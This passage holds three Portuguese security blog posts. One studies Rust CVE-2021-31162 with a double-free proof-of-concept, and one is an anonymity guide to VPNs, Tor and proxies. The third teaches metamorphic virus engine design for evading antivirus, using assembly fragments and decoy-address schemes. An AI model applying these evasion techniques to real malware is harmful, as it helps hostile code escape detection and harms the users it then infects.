Esses bugs são perigosos porque a memória liberada pode já ter sido realocada para outros fins, ou pode permitir que o usuário controle a lista linkada de blocos de memória livre.

Double free

Ao liberar um mesmo ponteiro duas vezes ira causar uma vulnerabilidade de Double Free.
Semelhante ao Use-after-free na heap, o double free deixa espaço para que um atacante manipule a lista linkada de blocos de memória livres.

Buffer overflow

O tipo de falha mais conhecida, ocorre basicamente quando podemos escrever mais bytes que um buffer pode comportar, assim, fazendo-o transbordar.

Agora que temos uma noção das principais vulnerabilidades relacionado ao gerenciamento de memória podemos continuar

Gerenciamento de memoria do Rust

Rust é uma linguagem que visa prevenir bugs de segurança, sem sacrificar o desempenho.
Ela aborda o objetivo introduzindo um conjunto de regras semânticas estritas no nível do compilador.
Desta forma, Rust pode ser mais eficiente do que outras linguagens de programação (como Go, ex) que dependem muito da verificação de memória em runtime e garbage collection

Basic Design:
Rust é por natureza uma linguagem híbrida, incluindo uma parte segura e uma parte insegura.
A parte segura garante que os comportamentos de todos os códigos e APIs sejam bem definidos, e os programas que usam APIs seguras não devem ter nenhum risco de problemas de segurança de memória.
A parte insegura não tem essa garantia e pode levar a comportamentos indefinidos, mas é necessário atender a algumas necessidades específicas, por exemplo, acesso eficiente à memória para desenvolvimento de software com requisitos de desempenho rigorosos.
Qualquer código que possa levar a comportamentos indetermindados deve ser declarado como inseguro, como desreferenciar ponteiros brutos, chamar FFIs (foreign function interfaces) e APIs não seguras.
Na verdade, muitas APIs seguras também empregam APIs inseguras internamente, e essas APIs podem ser seguras porque eliminaram todos os riscos de segurança da memória, por exemplo, por meio de código condicional.
Uma função que chama APIs inseguras pode ser declarada como segura ou insegura, o que depende principalmente da decisão do desenvolvedor. Rust não pode verificar se a declaração está correta ou não.
Portanto, declarar falsamente uma API como segura é perigoso e pode prejudicar a integridade da segurança do Rust.

Ao estudo

Agora que pude passar uma ideia melhor sobre a linguagem Rust e sobre gerencialmento de memoria, iremos fazer um estudo nos CVE’s catalogados até o momento

Irei abrangir apenas um CVE para não alongar demais esse post, mas dependendo do feedback posso refazer esse estudo com outros CVE’s

A vulnerabilidade

O CVE que sera estudado sera o CVE-2021-31162, uma vulnerabilidade de Double Free na stdlib do rust, a qual ocorre ao lidar com Vetores.
Escolhi tal CVE por ser uma falha relativamente recente, sendo relatada pouco menos de 5 messes atras(momento que estou escrevendo esse post), por ser, em essência, simples o entendimento e por se tratar de uma falha na stdlib do Rust, podendo assim falar um pouco sobre Rust internals

Oque é a falha?

Na stdlib do Rust antes da versão 1.52.0, um double free pode ocorrer na função Vec::from_iter ao liberar um elemento em panic.

Vamos explicar melhor…

SpecFromIter<T, I> para Vec<T> chama Vec::IntoIter::drop_remaining().
drop_remaining() chama drop_in_place() antes de substituir o ponteiro.
Como resultado, os elementos descartados não são invalidados e descartados novamente em panic.

// rust/library/alloc/src/vec/source_iter_marker.rs:71

// drop any remaining values at the tail of the source
src.drop_remaining();

// rust/library/alloc/src/vec/into_iter.rs:88

pub(super) fn drop_remaining(&mut self) {
    unsafe {
        ptr::drop_in_place(self.as_mut_slice());
    }
    self.ptr = self.end;
}

PoC:

#![forbid(unsafe_code)]

use std::iter::FromIterator;

#[derive(Debug)]
enum MyEnum {
    DroppedTwice(Box<i32>),
    PanicOnDrop,
}

impl Drop for MyEnum {
    fn drop(&mut self) {
        match self {
            MyEnum::DroppedTwice(_) => println!("Dropping!"),
            MyEnum::PanicOnDrop => {
                if !std::thread::panicking() {
                    panic!();
                }
            }
        }
    }
}

fn main() {
    let v = vec![MyEnum::DroppedTwice(Box::new(123)), MyEnum::PanicOnDrop];
    Vec::from_iter(v.into_iter().take(0));
}

Esse CVE pode parecer um pouco complexo em um primeiro momento, mas vamos olhar melhor.
Oque acontece, em outras palavras, é que ao ser liberado, o elemento não é invalidado, assim, sendo liberado novamente, criando a falha de Double Free
Bem simples, não?

Podemos perceber que gerar uma falha de gerencialmente de memoria é extremamente dificil, sendo necessario um esforço para gerar tal erro.
Quis trazer esse CVE também para demonstrar isso, uma falha desse tipo muito dificilmente poderia ser usada em um cenario real para exploração de um binario.

É Seguro ou não?

Podemos dizer que sim, o Rust consegue fazer um otimo trabalho para o gerencialmente de memoria, limitando com sucesso os riscos de problemas de segurança, e essa mágica toda está na solidez das APIs e seu compilador que ira veementemente te alertar sobre possiveis falhas e más praticas.
Como resultado, muitos bugs de segurança são problemas leves de solidez, como citado acima.

Referencias

Memory-Safety Challenge Considered Solved?
- https://arxiv.org/pdf/2003.03296.pdf
LiveOverflow
- https://www.youtube.com/c/LiveOverflow
Rust Book
- https://doc.rust-lang.org/beta/rustc/exploit-mitigations.html
Mozzila Hacks
- https://hacks.mozilla.org/2019/01/fearless-security-memory-safety/

Autor do post: R3tr0

[PT-BR] Metamorfismo explicado na prática

Sun, 23 May 2021 00:00:00 +0000

Metamorfismo

Introdução

Desta vez, o objeto de estudo é o Metamorfismo. Acho que este é o próximo passo após o polimorfismo, um passo que alcançará o desenvolvimento ofensivo em outro nível: o pico mais alto da automutação, o maior passo em direção à furtividade perfeita.

Básico

O metamorfismo é um conceito muito interessante que basicamente significa o seguinte:
Significa que o código se modifica a cada vez que executado.
A diferença entre metamorfismo e o polimorfismo é:

Polimorfismo: significa criptografar o próprio código e descriptografar em run-time para se executado
Metamorfismo: significa modificar o próprio código, mudar o proprio assembly em run-time.

Claro, como se poderia esperar, é quase impossível criar um código totalmente metamórfico. Não vou inserir os detalhes aqui, mas se você não acredita em mim, experimente. Grande parte deste artigo terá como objetivo mostrar onde o metamorfismo deve ser utilizado para ser realmente útil.

Isso é, quando um software de antivírus é escrito e consegue detectar com sucesso o uso de um conceito, método e teoria, ele será capaz de detectar todos os vírus futuros baseados nos mesmos conceitos.
Mas depois de modificar todos os três aspectos, o antivírus deve ser totalmente redesenhado. Isso pode levar a uma redução da eficiência na abordagem em relação aos conceitos antigos também, porque qualquer método novo tem a capacidade de fazer os métodos antigos funcionarem pior do que antes. Não vou continuar essa dissertação aqui, mas pense nisso …

Para analisar um malware desse tipo. O que é necessário? Precisamos conhecer alguns valores importantes e isso é tudo o que é necessário para entender o código:

O local do código do malware
Os locais das chaves de descriptografia
O algoritmo de descriptografia
O local do código original (se movido)
O ponto de entrada original

Não nos importamos com o algoritmo de descriptografia aqui, portanto, verificaremos apenas o resto das coisas.

Basicamente, todos os valores acima são armazenados dentro do seu código num determinado endereço. Coisas como essas são comuns:

OldEip  dd      0
...
        mov     dword ptr [ebp+OldEip], eax

O humano irá olhar em seu código e quando ele finalmente localizar e entender as linhas acima, ele irá programar seu script para olhar para o endereço de OldEip e obter o valor de lá. Não há necessidade de interferência humana ao escanear algo tão simples. Agora o software localizou o eip original do programa infectado e pode remover o hook com segurança apenas restaurando-o. Esta é uma forma muito simples de mitigação.

Como podemos prevenir tal coisa, ou como podemos pelo menos tornar isso mais difícil? Isso é explicado por alguns métodos de metamorfismo.

Métodos

Método de “multiple locations”

OldEip1 dd      0
...
OldEip2 dd      0
...
OldEip3 dd      0

        mov     dword ptr [ebp+OldEip1], eax
metamorph1 = $-4

Agora, nosso mecanismo metamórfico tem que fazer o seguinte: decidir aleatoriamente qual endereço usar, preencher com o valor correto, preencher o outro com valores aleatórios e ir para o endereço ebp + metamorph1 e preencher o endereço com o valor necessário.

Para onde isso leva? Cada vez que o vírus se propaga o local onde o antigo entrypoint está armazenado será diferente… E também, a instrução que o acessa será diferente de geração em geração. Não sei se você percebe a força dessa coisa. É claro que é facilmente superável localizando a própria instrução de acesso e obtendo o endereço de lá. Mas, pense nisso:

Oldeip1         dd      0
...
Oldeip2         dd      0
...
...
codeaddress1    dd      0
...
codeaddress2    dd      0
...
...

        mov     dword ptr [ebp+OldEip1], eax
        ...
        mov     dword ptr [ebp+codeaddress1], eax

Agora, as duas instruções têm a seguinte aparência quando debugadas:

mov [ebp+XXXXXXX], eax

Começando a entender meu ponto? Imagine que você tem 10 valores para fazer metaformose em torno do código, cada um tendo 10 lugares possíveis e cada um sendo acessado cerca de 3 vezes, necessariamente e outras 7 virão lixo… Você sabe quantas gerações uma pessoa deve gerar para entender o que é o significado real do código e quão difícil seria localizar os valores necessários para analisar?

A modificação de instrução

Isso é um pouco complicado e você precisa aprender um pouco sobre a extensão de instruções. Não é muito difícil, mas você terá que criá-lo testando-o várias vezes em um debbuger. Lembre-se de que aqui você não está gerando um descriptografador polimórfico (onde você tem um buffer vazio e pode preenchê-lo), mas está trabalhando em um código compilado que tem um tamanho definitivo e links por toda parte. A ideia é modificar uma determinada instrução para que não seja facilmente localizada.

Primeira etapa: realocação de instrução

Para isso, você precisará economizar espaço em diferentes partes do seu código e elas devem se parecer de alguma forma com uma sub-rotina:

place1  proc
        space1  db 20 dup(0x90) ; isso vai repetir 20x "0x90"(a instrução nop)
        ret
place1  endp

Você pode ter, digamos, cerca de 10 lugares para cada parte do código metamórfico. Sempre que esta instrução for chamada, você deverá providenciar a chamada para ela. Imagine para o acima:

        call    place1
        ...
place1  proc
        mov     [ebp+OldEip1], eax
        ret
place1  endp

Agora, se o seu gerador aleatório decidir que o código deve ser “metamorfizado” em outro place(digamos, place2), tudo o que ele precisará fazer é mover a instrução para lá e modificar também a chamada para ler call place2

Esta é a primeira ideia: sua instrução pode vagar pelo código. Pense que você pode ter, digamos, 15 lugares como esse e 10 ou mais instruções para usar metamorfose. Seu gerador de números aleatórios escolherá um lugar para cada um e você ainda terá algum para preencher com lixo.

Segunda etapa: mutação real do código

Aqui você precisa cuidar da duração da instrução. Como você notou, eu escolhi aleatoriamente o tamanho de um local para 20 bytes (aliás: você pode ter tamanhos diferentes). Isso significa que você não pode colocar uma instrução ou grupo de instruções com mais de 20 bytes, caso contrário, eles sobrescreverão o código a seguir.

Vamos voltar às nossas instruções aqui:

i1)	mov	[ebp+Oldeip], eax
	ret

Deixe-me ser criativo e criar outros grupos de instrução que façam a mesma coisa:

i2)	push	[ebp+Oldeip]
	pop	eax
	ret

i3)	push	edx
	lea	edx, Oldeip
	add	edx, ebp
	mov	[edx], eax
	pop	edx
	ret

i3)	push	eax
	lea	eax, [ebp+Oldeip-1]
	inc	eax
	pop	[eax]
	ret

Agora, seu gerador de números aleatórios escolherá uma das instruções acima e simplesmente preencherá seu lugar. O que isso traz? Isso torna ainda mais difícil para o scanner automático (desde que ele possa pesquisar todos os lugares) saber a qual endereço você está endereçando (oldEip1, 2, etc…).

Resumo

Por enquanto, vamos fazer uma pausa e ver o que tudo isso pode gerar:

                              ┌─────────────┐
                              │ call placeX │
                              └──────┬──────┘
     ┌───────┬───────┬───────┬───────┼───────┬───────┬───────┬───────┐
     │       │       │       │       │       │       │       │       │
 ┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐
 │place1││place2││place3││place4││place5││place6││place7││place8││place9│
 └───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘
     └───────┴───────┴───────┴───────┼───────┴───────┴───────┴───────┘
          ┌────────────────┬─────────┴───────┬─────────────────┐
   ┌──────┴────────┐┌──────┴────────┐┌───────┴───────┐┌────────┴──────┐
   │  i1           ││  i2           ││  i3           ││  i4           │
   └──────┬────────┘└──────┬────────┘└───────┬───────┘└────────┬──────┘
          └────────────────┴─────────┬───────┴─────────────────┘
            ┌───────────┬────────────┼───────────┬───────────┐
       ┌────┴─────┐┌────┴─────┐┌─────┴────┐┌─────┴────┐┌─────┴────┐
       │ Address1 ││ Address2 ││ Address3 ││ Address4 ││ Address5 │
       └──────────┘└──────────┘└──────────┘└──────────┘└──────────┘

Basicamente, qualquer rota descendente pode ser gerada pelo processo metamórfico (por exemplo, chamada para place5, com conjunto de instruções i1 que acessa o endereço Address5). Quase todos os lugares e endereços devem ser usados, cada um para uma instrução diferente. O conjunto de instruções deve ser mais amplo porque, para instruções diferentes, devemos fazer metamorfose no código específico. Mas os locais e os endereços podem ser comuns a todas as instruções.

Claro, não preciso dizer que o endereço dos locais e dos endereços deve ser o mais mutilado possível dentro do código real.

Avançado

Agora, vamos avançar para uma coisa mais profunda. Imagine que existe uma pessoa realmente masoquista(eu teria medo desse ser humano) que percebeu a forma como seu código se comporta e quer encontrar todos os endereços onde seu código armazena o EIP.
Ele poderia gerar, por exemplo, 500 amostras do seu código e ter 10 pessoas para analisá-los.
Não seria muito difícil, bastaria uma tabela a ser preenchida com os deslocamentos dos lugares, endereços e onde buscar o endereço dentro da instrução. Você acha que todas as situações seriam encontradas em tantas gerações? Claro, se você não usar um metamorfismo lento e inteligente.
Esse tipo de metamorfismo lento significaria o seguinte: cada uma das três variáveis (local, endereço e conjunto de instruções) deveria ser alterada em momentos diferentes, uma vez que um contador ultrapassasse o valor 20. Então, a cada 20 gerações o lugar mudava. A cada 20 gerações o endereço muda, etc.
Isso nos garante que em pelo menos 20 gerações algo não mudaria. Isso significa que para obter todas as 10 possibilidades para o local, pelo menos 200 gerações devem ser criadas e toda vez que o número aleatório deve gerar um número diferente… o que é quase impossível. 200+ 200+ 200, isso significa 600 gerações e com a suposição de que o randomizador gere exatamente o que você deseja.
Acho que em 6.000 gerações, as condições dificilmente serão atendidas. Analisar 6.000 gerações é… bem, pelo menos suicida…

Para adicionar ainda mais complexidade a isso, pode-se usar uma invenção que conheci com o nome de
"Madness Jump Table".

Vamos supor que você fez seu código metamorfosear(sim, essa palavra existe, olha aqui) a instrução:

mov [ebp+OldEip], eax

em um call local, com todos os links apresentados acima. E vamos imaginar que essa instrução aparecerá 5 vezes em seu código (talvez algumas vezes apenas como isca). Não seria muito bom escreve-la todas as vezes por uma chamada para local. O uso de uma “Madness Jump Table” resolveria isso.

  instruction1: call treeEntry1
  instruction2: call treeEntry2
  instruction3: call treeEntry3
  instruction4: call treeEntry4
  instruction5: call treeEntry5

  treeEntry1: jmp subEntry11
  treeEntry2: jmp subEntry12
  treeEntry3: jmp subEntry13
  treeEntry4: jmp subEntry14 - these are equal
  treeEntry5: jmp subEntry14 /

  subEntry11: jmp subEntry21
  subEntry12: jmp subEntry22
  subEntry13: jmp subEntry23 - these are equal
  subEntry14: jmp subEntry23 /

  subEntry21: jmp subEntry31
  subEntry22: jmp subEntry32 - these are equal
  subEntry23: jmp subEntry32 /

  subEntry31: jmp subEntry41
  subEntry32: jmp subEntry41

  subEntry41: jmp place

Ok, vamos sequir a instrução 3 como exemplo:

pretreeEntry3-> subEntry13-> subEntry23-> subEntry32-> subEntry41-> place

Não importa com qual instrução você comece, você acaba no mesmo endereço: place (observe que o call place foi substituído por um jmp place, porque a chamada já foi feita desde o início e não queremos dois endereços na stack)

Agora, por favor, olhe atentamente para a tabela acima. Imagine que em cada bloco de árvore você destrói o lado esquerdo (os jumps) entre eles de forma completamente aleatória. Acontece alguma coisa? Não, porque de qualquer maneira, o traço ainda levará ao mesmo lugar. Mas você terá 5 instruções que irão saltar cada uma através de 6 cada vez que diferentes lugares de salto, cada vez que cheguem a um lugar diferente, onde um conjunto diferente de instruções é aplicado para usar um valor que está armazenado em um lugar diferente, o que é absolutamente necessário para a execução do programa … Você compilou o que eu acabei de dizer?

Isso diminuirá a velocidade do seu código? Nem um pouco … Vai aumentar o tamanho. Claro, um pouco, mas não tanto. 20 saltos e chamadas no total significam 100 bytes, mais 20 bytes por conjunto de instruções (desde que tenhamos 10 conjuntos de instruções), dá outros 200. Portanto, um total de 300 bytes adicionados ao seu código como lado funcional. Além disso, o lugar adicional foi ocupado pelo armazenamento de endereços e armazenamento de conjuntos de instruções.

Claro, como eu disse, o metamorfismo só deve ser usado em lugares onde você realmente precisa tornar os dados difíceis de serem compreendidos e alcançados, porque muito metamorfismo pode levar a executáveis enormes e nenhuma substância real, para não mencionar o seu trabalho inútil adicional.

Aplicando isso

Onde aplicar?

Deixe-me dar algumas dicas sobre onde eu acho que o metamorfismo deve ser aplicado. Em primeiro lugar, suponho que você trabalhe em um código de realocação automática; nesse tipo, uma parte do código original é movida para algum lugar no final do arquivo criptografado, assim como o resto do código original. O vírus se insere no local liberado e ao terminar o trabalho descriptografa o código e o coloca de volta. Isso é necessário porque, de outra forma, alguns antivírus inteligentes poderiam encontrar o seguinte: carregue a amostra infectada como um processo de depuração, localize seu handler (se houver) e encontre uma maneira de forçá-lo a retornar ao host. Em seguida, monitore o endereço do retorno dentro da seção de código e, assim, o ponto de entrada original é divulgado. Ao se posicionar sobre a mesma área onde o ponto de entrada original estava, o antivírus não pode assumir que o eip irá de alguma forma “escapar” daquela área e pular para muito longe significa que esse é o ponto de entrada original. Para obter o ponto de entrada original, ele deve rastrear toda a execução, o que é perigoso e quase impossível para ele, ou fazer a varredura do código em busca de valores. E aí vem nossas instruções metamórficas.

Então, vamos ver onde o paradigma metamórfico se aplica:

entrypoint original
endereço do bloco de código original
chave de criptografia do código original
comprimento do pedaço de código original

Se você é inteligente o suficiente para criar um mecanismo metamórfico para esconder as coisas acima e as instruções que os acessam, é isso!!
Você não precisa metamorfosear coisas como instruções matemáticas comuns e assim por diante. Você tem que se concentrar nas instruções importantes!

Algumas dicas

Dicas adicionais de furtividade

Como eu disse, você pode querer criar um conjunto dedicado de endereços para cada um dos conceitos metamorfizados (por exemplo, oldEip, endereço do bloco de código, etc.). No entanto, à luz das técnicas acima, apenas um dos vários endereços será realmente usado, enquanto o resto deve ser apenas para chamariz. Para torná-lo perfeito, você não deve deixar em nenhuma circunstância esses valores como 0. Isso seria um erro fatal. Se o antivírus localizar todos os endereços, todo o resto em nosso algoritmo é inútil, porque ele irá desconsiderar todo aquele que seja igual a 0.

Além disso, você não deve colocar valores aleatórios. Por quê? Um software de antivírus inteligente poderia localizar o eip real de um conjunto de muitos valores apenas verificando qual é maior que o RVA(Relative Virtual Address) da seção de código e menor que o RVA + o tamanho bruto. Para resolver isso, simplesmente faça seu gerador de números aleatórios gerar pequenos números positivos, negue-os se quiser (outra suposição aleatória) e adicione esses randoms ao eip original. Desta forma, todos os endereços terão valores muito semelhantes ao redor do eip rva original.

Para otimizar um pouco as coisas: não armazene os conjuntos de instruções em algum lugar e apenas mova-os para o local na hora da metamorfose. Basta criar os locais com as instruções já presentes e quando desejar modificar basta trocar dois deles entre eles. Ou toda vez que você quiser mudar apenas troque todos eles entre eles aleatoriamente.

Como colocar todas essas informações e não se perder em seu próprio código? Isso significa que você sabe exatamente de onde começa e coloca tudo no papel. Então, a Madness Jump Table oferece um lugar muito bom para ocultar dados. Projete a tabela e coloque os endereços entre os saltos. Você pode até inserir algum chamariz lá (como prefixos 0FFh antes dos saltos para fazer o código compilador parecer um fusca velho 👍).

Criptografe muito bem o core do engine metamórfico. Para isso, sugiro um algoritmo não linear com várias passagens (como um loop infinito). Dentro do engine metamórfico, use um engodo de endereço. Não vou entrar em detalhes com esta técnica, vou apenas apresentá-la brevemente:

Ao invés de escrever:

mov     [ebp+offset metamorph1], ebx

escreva:

mov     edx, offset metamorph1
...
mov     eax, 12
...
sub     ebp, 24
......
mov     [ebp+eax*2+edx], ebx

Dessa forma, ao disassemblar seu código, seria muito mais difícil para o analisador entender o que você pensou ali. A última instrução pode aparecer muitas vezes dentro do código.

Como codar?

Os componentes de um engine metamórfico

1. O gerador de endereço

Esta é a parte que move os dados de um endereço para outro. Requer uma tabela como esta:

AddressTable:
    Ahunk1:
      size1 = x
      _addr11 dd offset address11
      _addr12 dd offset address12
      ...
      _addr1x dd offset address1x
    Ahunk2:
      size2 = y
      _addr21 dd offset address21
      _addr22 dd offset address22
      ...
      _addr2y dd offset address2y
    ...
    AhunkN
      ...

onde cada pedaço é usado para um valor específico (como oldEip ou um endereço de código), e cada addressAB representa locais possíveis dentro da área de dados onde o valor real pode ser armazenado.

A engine irá analisar cada pedaço, dado seu tamanho, ir em cada endereço (alinhado com o identificador delta, é claro) e preenchê-lo com um valor aleatório ou o valor real, conforme decidir. Exatamente quando o endereço do valor real é decidido, o preenchedor de instrução deve ser chamado diretamente para evitar futuras passagens pelas tabelas. O preenchimento da instrução diz à instrução para endereçar no endereço específico onde os dados reais são colocados.

2. O preenchimento de instruções

Este também precisa de uma tabela, como esta:

InstructionTable:
    Ihunk1:
      __size = a
      _instr11  dd offset instruction11
      _byteoffset11 = 3
      ...
    ...

onde cada pedaço é correspondente aos pedaços acima. Cada instruçãoAB representa o endereço da instrução que deseja usar um valor (um mov [ebp+oldEip], eax, por exemplo), e byteoffset representa em qual deslocamento os endereços dos dados devem ser colocados. Por exemplo, neste caso:

instruction11:
    push edx
    mov edx, [ebp+oldEip]
    mov [edx], eax
    pop edx

a primeira instrução tem 1 byte de comprimento e a segunda 6 bytes, e o endereço de oldEip é armazenado no quarto byte a partir do endereço da instruction11. Você pode simplesmente calcular esses valores inserindo TurboDebugger, digitando as instruções e, em vez de oldEip, coloque 8888888h e veja em qual byte ele inicia.

Esta parte da engine recebe o endereço dos dados do gerador de endereço. Em seguida, ele irá para o deslocamento de cada instrução e preencherá no deslocamento de byte adequado o endereço que recebeu. Em seguida, ele escolherá uma das instruções e passará seu número para o preenchedor do lugar.

3. O place filler

Esta parte não precisa de outra tabela. Ele simplesmente fragmentará os conjuntos de instruções entre eles, conforme mantido na tabela InstructionTable, e para a instrução a ser executada (conforme recebida do preenchedor de instruções), ele passará esse valor para o handler da jump table.

4. O handler da jump table

O handler da jump table simplesmente divide entre eles os saltos em cada bloco de salto e então substitui a instrução jmp place pelo salto apropriado para o endereço que recebeu do preenchedor de local (a instrução a ser executada). Em seguida, para cada call, ele escolherá uma entrada aleatória na árvore da tabela de salto e a preencherá usando esta tabela:

FinalTable:
    Fhunk1:
      ____size = 5
      _call11 db offset _caller11
      ...

Tudo isso configurado, seu código terá em algum lugar dentro dele esta instrução:

_caller11: call StoreEipTree

A árvore da tabela de salto da loja eip guiará a chamada através da árvore aleatória. Ele finalmente alcançará um proc que conterá um dos muitos conjuntos de instruções que você preparou para colocar um valor em [ebp + oldEip], onde o endereço oldEip será um dos muitos lugares em que você terá que armazenar esse valor.

Como você pode ver, é muito fácil entender como funciona, à medida que constrói o código metamórfico, mas é muito difícil entender como se você só tiver o disassembler e um monte de tabelas(criptografadas). Observe também que, usando a maneira acima, todos os dados ainda podem passar pelo processo de metamorfose repetidas vezes.

Palavras finais

Obrigado por ter lido até o final, espero que tenha gostado do conteudo e estamos abertos para recomendações e criticas obrigado novamente e até a proxima…

Autor do post: R3tr0

[PT-BR] Guia do Anonimato na Internet

Mon, 05 Apr 2021 00:00:00 +0000

Sempre que fizermos besteira na vida real, haverá consequências. Porém na internet isso é bem diferente quando usamos metodos e tecnicas para se tornar anonimo. Neste post eu quero ensinar os caminhos das pedras para aprender e alcaçar o anonimato na internet.

Indice

Lembrando que esse post serve apenas para aprendizado e conhecimento dessas técnicas, e de forma alguma encoraja que voce (leitor) a fazer atos criminosos

Introdução

O que é anonimato e porque eu preciso disso?

Em uma frase: Ter anonimato é agir sem deixar rastros.

Se voce veio a este artigo, eu posso presumir que voce tem uma certa curiosidade em como pode se tornar mais cuidadoso com seus atos na internet.

Não deixar rastros é algo muito importante na area de hacking e por isso que buscar anonimato é a nossa melhor opção.

Nesse artigo voce verá diversas formas de agir anonimamente na internet, evitando deixar pegadas.

Anonimato VS privacidade

Se é a primeira vez que ve um conteúdo sobre isso, pode achar que esses 2 conceitos são a mesma coisa, porém são muuuuito diferentes; e é por isso que vou esclarecer isso antes de começarmos.

Privacidade

Em resumo, ter privacidade é voce se preocupar com quais dados estão sendo coletados dos aplicativos que voce usa (voce também tampa a webcam? se sim, voce se preocupa com a privacidade), mesmo que o serviço que voce está usando saiba sua localização, seu nome etc.

Anonimato

Se preocupar com o anonimato é querer que sua identidade, localização e quem voce é seja preservado, independente se seus dados de uso estejam sendo usado por serviços de terceiros.

Privacidade pode ocorrer sem anonimato e vice-versa.

Importância do tema

Ah é? estou vendo seu ip daqui! É brincadeira ta gente

Brincadeiras a parte, com certeza voce deve conhecer alguns métodos para se tornar mais anonimo na internet, o objetivo aqui é entender onde podemos aprimorar nessa jornada.

Para podermos se tornar anonimos na internet é questão de hábito.

E quando eu digo hábito, não estou falando em mudar 1 coisa na sua rotina, eu digo em repensar tudo que faz durante seu periodo na rede.

Essas são algumas reflexões que deixo para voce, meu caro leitor:

Se voce usa a rede social para fazer algo suspeito, voce loga no perfil sem se preocupar com o seu IP? Divulga imagens na internet sem se preocupar com os metadados?
Se voce quer enviar um arquivo confidencial para alguem, como voce faz? Coloca ele no google drive e envia para a pessoa? Envia direto pelo email?
Quando voce se comunica sobre assuntos comprometedores, voce conversa por onde? Whatsapp? Facebook?

Não se desespere, nesse artigo vou lhe explicar tudo o que precisa saber para que não cometa mais esses erros.

Se mantendo anônimo

VPN

Em resumo, as VPNs são uma forma de esconder sua localização, fazendo com que seu trafego saia por outro computador

O que é vpn?

VPN (Virtual Private Network) em resumo é uma forma de conectar dois computadores pela internet, fazendo um tunel entre os dois computadores (trafego do computador de origem entra nesse tunel e sai pelo computador de destino).

Casos de uso de VPN

O tunel que a VPN provém tem diversas aplicações, por exemplo:

Dar acesso aos servidores da nuvem (que por sua natureza não tem acesso a rede externa), um exemplo disso é a vpn usada para as CTFs Voce não consegue acessar a maquina da ctf sem usar a vpn
Criptografia nos dados que estão sendo trafegados. Isso em uma rede pública é muito bom.
Esconder o seu IP de origem.

Se você busca anonimato, o último item é o mais importante.

Existem outros casos de uso, só listei os mais genéricos.

Cuidados ao usar uma vpn

Vazamento de consultas DNS

Usar vpn é bom e prático, mas será que ela protege todo o trafego?

Se mal configurado, sua vpn pode vazar consultas DNS mostrando que vieram diretamente do seu computador, mesmo voce estando conectado na VPN.

E Porque eu devo me preocupar com isso?

Não proteger sua consulta DNS é deixar rastros de que seu computador teve relação com um dominio.

É possível imaginar vários cenários que isso te cause problemas, principalmente se anda fazendo coisas erradas

Não deixaremos nenhum pacote para trás

O que acha de checarmos se sua VPN vaza seu ip atraves das consultas DNS?

Como verificar e previnir que haja vazamento de consultas DNS

Desconecte de qualquer VPN e Cheque seu IP externo no site: https://www.myip.com/

Anote o provedor de internet (ISP) em algum lugar, ele é o seu provedor de internet, vamos usar essa informação daqui a pouco

Agora conecte a sua VPN de escolha e entre nesse site: https://torguard.net/br/vpn-dns-leak-test.php

Após carregar, ele vai demonstrar uma tabela com 3 colunas, a coluna do meio (onde diz ISP) é a mais importante, verifique se o ISP que tem na tabela é diferente do seu ISP

Se seu provedor de internet for diferente do que verificado n site torguard. isso é uma otima noticia! Significa que sua VPN se preocupou com o vazamento do SEU IP atraves do DNS.

Caso voce ainda veja seu provedor de internet na lista, recomendo usar uma vpn que se preocupe com isso, ou troque servidor que irá resolver as consultas dns, para um que seja da sua confiança.

TOR

O que é o tor?

De forma rapida, tor é rede de computadores que tem como missão trazer anonimato aos seus usuários.

O anonimato da rede tor é baseado em tunéis feito entre alguns servidores antes de chegar ao site de destino e criptografias de multiplas camadas entre esses servidores, fazendo com que fique humanamente impossível de descobrir o endereço IP de algum usuário ou serviço utilizando a rede.

Casos de uso do tor

Ele é amplamente usado para vencer a censura e vigilância estatal, perfeito para quem quer se manter anonimo ao utilizar serviços da internet, porém também é possivel disponibilizar sites ou serviços na rede tor, se tiver curiosidade, temos um artigo que diz como podemos hospedar um site na deepweb!

Existem outros casos de uso, só listei os mais genéricos.

Navegador

Existem diversos sites que estão apenas disponiveis nessa rede (sites com final .onion), que são impossiveis de serem visitados por um navegador normal, por isso o Tor Project disponibilizou um navegador especializado em se conectar à essa rede, é possivel baixar ele pelo site oficial.

Usando ele voce consegue acessar esses sites e também navegar na rede que voce está acostumado (normalmente chamada por surface), fazendo com que seu endereço IP não seja descoberto.

Apesar da rede tor te ajudar a te manter anonimo, existem cuidados que voce como usuário deve ter ao utilizar essas redes, mais pra frente no post falarei sobre isso, mais especificamente nesse trecho

Torsocks

Para quem é fã do terminal

Torsocks é uma cli (command line interface) que permite habilitar o tor a qualquer programa, basta colocar torsocks antes do comando que já fará com que o programa rode utilizando a rede tor.

Exemplo: Sem o tor esse comando a seguir mostra seu ip externo.

$ curl ifconfig.me

Colocando o torsocks na frente, seu ip externo já fica diferente.

$ torsocks curl ifconfig.me

Como não usar o tor

A rede tor pode te entregar o anonimato que precisa, porém temos que ter cuidados com serviços que exigem login, afinal entrar no facebook pela rede tor não vai te fazer anonimo.. Porque apartir do momento que logou no facebook, é possível dizer que voce que logou. E a mesma coisa se aplica aos emails que voce usa nos sites, usar informações pessoais no login de sites na rede do tor fazem com que a anonimato do tor seja em vão.

Então sempre que for criar login em sites na rede tor use dados fakes, jamais entre em sites atraves de dados que tem vinculo com voce (login com email, telefone)

Proxy

O que é uma proxy?

Em resumo, proxy é bem semelhante com VPN, porém muitas vezes não exige credenciais nem criptografa o trafego.

As proxys podem ter algumas desvantagens em relação a outros métodos citados nesse post, porém ela é bem facil de ser utilizada e existem diversas proxys públicas que qualquer um pode usar. Vantagens:

São de graça e não tem limite de proxys em sequencia O unico limite é a latência, que acaba com a nossa paciência
É possivel escolher qual proxy voce quer, baseado em localização ou simplesmente em disponibilidade Desvantagens:
Nem todas as proxys disponíveis são boas ou estão funcionando
Não existe criptografia por padrão ao usar essas proxys

Casos de uso da proxy

Dar acesso aos servidores da nuvem. assim como uma vpn faria
Esconder seu endereço IP

Existem outros casos de uso, só listei os mais genéricos.

Um site que gosto de buscar proxys publicas é no site https://spys.one/en , lá tem diversas proxys que não necessitam de autorição para o uso, basta configurar e usar!

Para podermos usar uma dessas proxys podemos usar uma CLI chamado proxychains, que permite a configuração e a personalização de uso

Caso tenha mais curiosidade no uso das proxys e do proxychains, recomendo assistir esse vídeo

Redes sociais

Porque se manter anonimo nas redes sociais

